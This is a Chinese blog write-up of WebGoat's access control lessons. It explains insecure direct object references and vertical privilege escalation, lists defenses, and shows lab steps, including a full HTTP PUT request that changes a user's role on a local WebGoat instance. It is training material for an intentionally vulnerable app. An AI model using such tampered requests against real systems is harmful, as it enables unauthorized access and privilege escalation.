Webgoat--访问控制缺陷

本文深入探讨了Web应用中的两种常见访问控制缺陷:不安全的直接对象引用(IDOR)和缺失功能级访问控制。IDOR允许攻击者通过修改参数访问其他用户资源,而垂直权限提权则可能导致低权限用户执行高权限操作。文章详细介绍了这两种漏洞的利用方法,并提出了包括访问检查、使用间接对象引用和用户权限验证在内的多种防御措施。

不安全的直接对象引用 (IDOR水平权限越权)

  • 定义

不安全的直接对象引用(IDOR)允许攻击者绕过网站的身份验证机制,并通过修改指向对象链接中的参数值来直接访问目标对象资源,这类资源可以是属于其他用户的数据库条目以及服务器系统中的隐私文件等等。
应用程序在SQL查询语句中直接使用了未经测试的数据,而攻击者可以利用这一点来访问数据库中的其他账号数据。

  • 出现原因
    Web应用往往在生成Web页面时会用它的真实名字,且并不会对所有的目标对象访问时来检查用户权限,所以这就造成了不安全的对象直接引用的漏洞。
    服务器上的具体文件名、路径或数据库关键字等内部资源被暴露在URL或网页中,攻击者可以尝试直接访问其他资源。

缺失功能级访问控制(垂直权限 提权)

在应用程序中,常常会将用户分为不同的用户角色,不同的角色可以进行不同权限的操作。当在逻辑代码中未妥善处理,可能导致低权限的角色用户可以调用高权限角色用户的接口,导致用户提权

利用方法

修改提交的参数
暴力破解猜测同级的用户
使用PUT提交修改个人信息

防御方法

1.访问检查:对任何来自不受信源所使用的所有对象进行访问控制检查
2.使用基于用户或会话的间接对象访问,这样可防止攻击者直接攻击未授权资源
3.避免在url或网页中直接引用内部文件名或数据库关键字
4.验证用户输入和url请求,拒绝包含./ …/的请求
5.在应用程序业务层添加用户水平权限验证,防止角色平级用户之间数据越权访问
6.在应用程序业务层添加用户垂直权限验证,防止提权
7.针对当前用户信息修改,可使用已经经过验证并存储在sesson中的用户信息,避免从客户端进行获取
8.对于高权限可以修改低权限情况,添加权限验证
9.针对用户操作记录审计日志,操作对象,操作人,操作时间,操作IP地址,操作前后变化

0x13

点击View profie,抓包重重放在这里插入图片描述
获得 role,userId

0x14

在这里插入图片描述

0x15

  • 爆破
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  • 02 构造数据包

使用PUT 方式提交更改的信息

PUT /WebGoat/IDOR/profile/2342388 HTTP/1.1
Host: 192.168.80.2:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.2:8080/WebGoat/start.mvc
Content-Type: application/json
X-Requested-With: application/json
Connection: close
Cookie: JSESSIONID=eU5_lnpkJPYm5b8TPDxefKZS2MxfK0xlAi2MSl1Z
Content-Length: 86

{"role":"1", "color":"red", "size":"large", "name":"Buffalo Bill", "userId":"2342388"}

在这里插入图片描述

0x22

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x23

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值